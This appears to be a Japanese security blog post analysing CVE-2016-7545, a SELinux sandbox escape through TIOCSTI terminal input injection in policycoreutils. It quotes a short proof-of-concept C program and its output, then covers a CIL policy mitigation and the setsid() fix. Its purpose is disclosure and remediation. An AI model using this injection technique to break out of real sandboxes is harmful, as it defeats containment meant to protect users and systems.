現在位置: ホーム / セキュリティ ブログ / SELinuxのsandbox環境から脱出可能な脆弱性(CVE-2016-7545)

SELinuxのsandbox環境から脱出可能な脆弱性(CVE-2016-7545)

10月26日にpolicycoreutilsのsandboxコマンドにsandbox環境から脱出可能なバグ(脆弱性)があるとの報告がCVE-2016-7545として公開されました。主要ディストリビューターから修正済みのパッケージもリリースされましたので、改めてCVE-2016-7545の経緯と情報について簡単にまとめてみます。

こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面です。

10月26日にpolicycoreutilsのsandboxコマンド(SELinuxのラベルを使ったサンドボックス提供コマンド)にsandbox環境から脱出可能なバグ(脆弱性)があるとの報告がCVE-2016-7545として公開されました。主要ディストリビューターから修正済みのパッケージもリリースされましたので、改めてCVE-2016-7545の経緯と情報について簡単にまとめてみます。



Priority

Important

影響するバージョン

  • policycoreutilsの全バージョン(最新のものでは修正されています)


脆弱性概要(詳細はリンク先のサイトをご確認ください)

  1. 9/23に、NSAのselinux-users MLに「SELinux sandbox escape via TIOCSTI ioctl」というタイトルで、下記のサンプルプログラム

    #include 
    #include ioctl.h>
    
    int main()
    {
        char *cmd = "id\n";
        while(*cmd)
         ioctl(0, TIOCSTI, cmd++);
        execlp("bin/id", "id", NULL);
    }
    

    をコンパイルして/bin/sandbox(selinuxを用いたsandbox環境を提供するユーティリティ。デフォルトではプログラムはsandbox_tドメインで動作する)で実行すると、本来は

    [sios@cent7poc work]$ /bin/sandbox ./no_exploit
    uid=1000 gid=1000 groups=1000,10 context=unconfined_u:unconfined_r:sandbox_t:s0:c147,c515
    

    と出力されるべき所が

    [sios@cent7poc work]$ /bin/sandbox ./TIOCSTI_test
    id
    uid=1000 gid=1000 groups=1000,10 context=unconfined_u:unconfined_r:sandbox_t:s0:c99,c979
    [sios@cent7poc work]$ id  <--  これはコマンド入力ではなくsandbox_tドメイン内で動作しているプログラムから呼び出されたものです
    uid=1000(sios) gid=1000(sios) groups=1000(sios),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    

    と出力されてしまう(sandbox_tドメインから脱出して、unconfined_tドメインで動作してしまう)という問題が報告されました。

  2. そもそもTIOCSTIは入力を偽装するもので、ioctl(0, TIOCSTI, cmd++)で標準入力にcmdに入った文字列を入力として引き渡して実行しています。この際、同じセッションIDのグループはセッションリーダーが最初にオープンした端末を共有しているため、このセッションリーダーがオープンした端末からの入力として処理されてしまいます。

    例えば、一般ユーザでsandboxを用いてviコマンドを実行すると

    ps -ejHZの結果)
    LABEL                              PID   PGID    SID TTY          TIME CMD
    system_u:system_r:kernel_t:s0        2      0      0 ?        00:00:00 kthreadd
    ----snip----
    unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 2954 2950 2950 ? 00:00:00       sshd
    unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 2955 2955 2955 pts/0 00:00:00         bash
    unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 3076 3076 2955 pts/0 00:00:00           sandbox
    unconfined_u:unconfined_r:sandbox_t:s0:c5,c677 3077 3076 2955 pts/0 00:00:00             vi
    

    として、SIDが2955(bash)のTTYはsandboxで実行されたviに至るまでpts/0(/dev/pts/0)で共有されています。そのため、sandboxで先のプログラムを実行した際には、TIOCSTIでpts/0に文字列を引き渡され、unconfined_tドメインからの実行として処理されてしまうわけです。

  3. これは単純に、TIOCSTIを用いた際に/dev/pts/0等へのioctlが許可されてしまっている(ポリシの中で粗く設定されている)のが問題なため、例えばこのStephen Smalley氏のメールのように、下記のような

     (allowx sandbox_domain ptynode (ioctl chr_file (not (0x5412))))
    

    ポリシをCILを用いて追加して、TIOCSTI(0x5412)以外のptynodeへのアクセスを明示的に許可する(0x5412は許可しない)と記述すれば、

    $ sandbox ./test
    uid=1000 gid=1000 groups=1000
    context=unconfined_u:unconfined_r:sandbox_t:s0:c466,c667
    
    type=AVC msg=audit(1474638454.617:6045): avc:  denied  { ioctl } for pid=2935 comm="test" path="/dev/pts/0" dev="devpts" ino=3 ioctlcmd=5412 scontext=unconfined_u:unconfined_r:sandbox_t:s0:c72,c552 tcontext=unconfined_u:object_r:user_devpts_t:s0 tclass=chr_file permissive=0
    

    として防ぐことが出来ます。どうしても必要な場合にはこのポリシ変更(ポリシをより細かくする)により、この脆弱性を防ぐことが出来ます。

    或いは、policycoreutilsのsandboxコマンド内で、seunshareのようにsetsid()をコールして新たにセッショングループを作る方法にすれば防ぐことが出来ますが、それにはpolicycoreutilsの修正が必要になります。

    また、この議論の中で、TIOCSTI自体が旧いものなので、「そもそも未だに使ってるの?(殆どexploit書くためにしか使われてないなじゃない?」という議論も起こりましたが、少なくとも

    • util-linux: used in agetty in wait_for_term_input()

    • kbd: contrib utility sti equal to tiocsti utility.

    • irda: Used by handle_scancode() to emulate input.

    • tcsh: Used in ed mode and in pushback().

    • emacs: Used in stuff_char() (putting char to be read from terminal)

  4. というように、未だ使われているプログラムは現役であるようです。

  5. 今回のpolicycoreutilsの修正では

    +            pid = os.fork()
    +            if pid == 0:
    +                rc = os.setsid()
    +                if rc:
    +                    return rc
    

    のように、sandboxで実行する際にsetsid()で新しいセッションを作成します。これにより、ここにもあるように制御端末を持たない新しいセッションが作成されます。

    これにより、例えばsandboxでviを実行すると

    ps -ejHZの結果)
    LABEL                              PID   PGID    SID TTY          TIME CMD
    system_u:system_r:kernel_t:s0        2      0      0 ?        00:00:00 kthreadd
    ----snip----
    unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 10623 10619 10619 ? 00:00:00       sshd
    unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 10624 10624 10624 pts/0 00:00:00         bash
    unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 10645 10645 10624 pts/0 00:00:00           sandbox
    unconfined_u:unconfined_r:sandbox_t:s0:c568,c642 10646 10646 10646 ? 00:00:00             vi
    

    のように、新たなセッションID(SID)グループ: 10646でviが実行され、TTYも共有されないため、sandboxから脱出してプログラムを実行されることがなくなりました。



主なディストリビューションの対応方法

詳細は、各ディストリビューションの提供元にご確認ください


対処方法

各ディストリビューションの案内に従い、アップデートを行ってください。

また、policycoreutilsのsandboxを使ってサービスを提供している場合には、サービスの再起動が発生しますので、pacemakerなどOSSのクラスタ製品LifeKeeperなどの商用のクラスタリング製品を使うとサービス断の時間を最小限にすることが出来ます。

[セミナー告知]

11/30(水)に「OSSセキュリティナイター vol.3」と題して、セキュリティのセミナーを行います。

この回では、世界で最も利用されているオープンソースデータベースであるMySQLを取り上げ、『MySQLデータベースのセキュリティを考える 〜 重要データを守るために必要なこと〜』と題してセミナーを開催します。

今回も、前回に引き続き、ゲスト講師としてMySQLスペシャリストをお招きし講演をいただきます。

http://connpass.com/event/44819/がプログラム内容と申し込みの詳細になりますので、是非お申し込み下さい。

OSSに関するお困りごとは サイオス OSSよろず相談室まで

サイオスOSSよろず相談室 では、OSSを利用する中で発生する問題に対し、長年培ってきた技術力・サポート力をもって企業のOSS活用を強力に支援します。Red Hat Enterprise Linux のほか、CentOS をご利用されている環境でのサポートも提供いたします。

OSSよろず相談室

サイオスOSSよろず相談室(2)

問い合わせボタン

最新の記事
OpenSSLの脆弱性 ( CVE-2017-3733 ) 2017年02月16日
linux kernelの脆弱性( CVE-2017-6001 , (was CVE-2016-6786) ) 2017年02月16日
QEMUの脆弱性( CVE-2017-2630 ) 2017年02月15日
glibcの脆弱性(CVE-2015-8982, CVE-2015-8983, CVE-2015-8984) 2017年02月15日
vimの脆弱性 ( CVE-2017-5953 ) 2017年02月14日
Oracle Javaの脆弱性(Oracle Critical Patch Update Advisory - January 2017) 2017年02月14日
libxml2の脆弱性(CVE-2017-5969) 2017年02月13日
「linux kernel-4.9」でのLSMモジュールについて 2017年02月13日
linux kernelの脆弱性( CVE-2017-5970 ) 2017年02月13日
linux kernelの脆弱性( CVE-2016-8636 ) 2017年02月12日
bind 9 に設定依存の脆弱性 ( CVE-2017-3135 ) 2017年02月09日
bashの自動補完機能の脆弱性( CVE-2017-5932 ) 2017年02月08日
spiceの脆弱性( CVE-2016-9577 , CVE-2016-9578 ) 2017年02月08日
QEMUの脆弱性( CVE-2017-5898 ) 2017年02月08日
linux kernelの脆弱性( CVE-2017-5897 ) 2017年02月08日
linux kernelの脆弱性( CVE-2016-10208 ) 2017年02月06日
ntfs-3gの脆弱性(CVE-2017-0358) 2017年02月02日
QEMUの脆弱性( CVE-2017-2615 ) 2017年02月02日
tcpdumpに複数の脆弱性(CVE-2016-7922 等) 2017年01月30日
libgdに複数の脆弱性情報 (CVE-2016-9317, CVE-2016-6912, CVE-2016-10167, CVE-2016-10168, CVE-2016-10169) 2017年01月29日
OpenSSLに複数の脆弱性 ( CVE-2017-3730 , CVE-2017-3731 , CVE-2017-3732 ) 2017年01月27日
RunCに関しての脆弱性( CVE-2016-9962 )のPoCとSELinuxによるリスクの軽減 2017年01月26日
systemdの重要な脆弱性( CVE-2016-10156 ) 2017年01月25日
linux kernelの複数の脆弱性( CVE-2016-10153, CVE-2016-10154, CVE-2017-5547, CVE-2017-5548, CVE-2017-5549, CVE-2017-5550, CVE-2017-5551) 2017年01月25日
Katello/Foremanによる運用管理 (Part2) 2017年01月24日
linux kernel(KVMを有効にしている場合)で複数の脆弱性( CVE-2016-10150, CVE-2017-2583 ) 2017年01月21日
OpenSCAP 1.2.13のリリース情報 2017年01月16日
Oracle Javaの脆弱性(CVE-2016-5542, CVE-2016-5554, CVE-2016-5582, CVE-2016-5597, CVE-2016-5573) 2017年01月13日
bind に複数の脆弱性 ( CVE-2016-9131 , CVE-2016-9147 , CVE-2016-9444 , CVE-2016-9778 ) 2017年01月12日
Dockerに特権昇格の脆弱性 ( CVE-2016-9962 ) 2017年01月11日
GnuTLS の 脆弱性 (GNUTLS-SA-2017-1 : CVE-2017-5334 , GNUTLS-SA-2017-2 : CVE-2017-5335 , CVE-2017-5336 , CVE-2017-5337 ) 2017年01月11日
OpenSSLの脆弱性(CVE-2016-7056 ) 2017年01月11日
Apache HadoopのYARN NodeManagerの脆弱性 ( CVE-2016-3086 ) 2017年01月11日
KDE Arkによる意図しないファイル実行の可能性 ( CVE-2017-5330 ) 2017年01月11日
Katello/Foremanによる運用管理 (Part1) 2017年01月10日
Libtiff に複数の脆弱性 ( CVE-2016-10092 , CVE-2016-10093 , CVE-2016-10094 , CVE-2016-10095 ) 2017年01月02日
PHPMailerの脆弱性( CVE-2016-10033 , CVE-2016-10045 ) 2016年12月28日
eximの脆弱性情報 ( CVE-2016-9963) 2016年12月25日
Xenの複数の脆弱性 ( XSA-202: CVE-2016-10024 , XSA-203: CVE-2016-10025 , XSA-204: CVE-2016-10013) 2016年12月22日
MySQLの脆弱性情報(CVE-2016-6663)のPoCとSELinux 2016年12月21日
Apache 2.4.25のリリースと複数の脆弱性情報(CVE-2016-0736 , CVE-2016-2161 , CVE-2016-5387 , CVE-2016-8740 , CVE-2016-8743 ) 2016年12月21日
OpenSSHに複数の脆弱性 ( CVE-2016-10009 , CVE-2016-10010 , CVE-2016-10011 , CVE-2016-10012 ) 2016年12月20日
squidの脆弱性情報 ( CVE-2016-10002 , CVE-2016-10003 ) 2016年12月19日
Xenの脆弱性 ( XSA-200: CVE-2016-9932 ) 2016年12月15日
tomcatに情報漏えいの脆弱性( CVE-2016-8745 ) 2016年12月12日
linux kernelの脆弱性( CVE-2016-9576 ) 2016年12月09日
linux kernelの脆弱性( CVE-2016-8655 ) 2016年12月06日
Linuxでの効果的なAntivirus の設定と運用 (第三部 効果的な運用例) 2016年12月06日
KVMでout-of-boundsメモリアクセスの脆弱性(CVE-2016-9777) 2016年12月03日
QEMUの脆弱性( CVE-2016-9776 ) 2016年12月03日
linux kernelの脆弱性( CVE-2016-8650 ) 2016年11月25日
Xenに複数の脆弱性( XSA-191 / XSA-192 / XSA- 193 / XSA-194 / XSA-195 / XSA-196 / XSA- 197 / XSA-198 ) 2016年11月23日
vim/neovimに任意のコード実行の可能性 ( CVE-2016-1248 ) 2016年11月23日
tomcatに複数の脆弱性( CVE-2016-6816, CVE-2016-6817, CVE-2016-8735 ) 2016年11月23日
ntpdにリモートからDoS攻撃を受ける脆弱性(CVE-2016-7434) 2016年11月22日
KVMでNULLポインタデリファレンスフローの脆弱性(CVE-2016-8630) 2016年11月22日
SELinuxのCIL (Part4) 2016年11月21日
bashのpopdにSegmentation faultを引き起こす脆弱性 ( CVE-2016-9401 ) 2016年11月18日
cryptsetup の、リブート時にコンソールからrootシェルを開かれる脆弱性 ( CVE-2016-4484 ) 2016年11月16日
SELinuxのsandbox環境から脱出可能な脆弱性(CVE-2016-7545) 2016年11月16日
最新の記事 - もっと...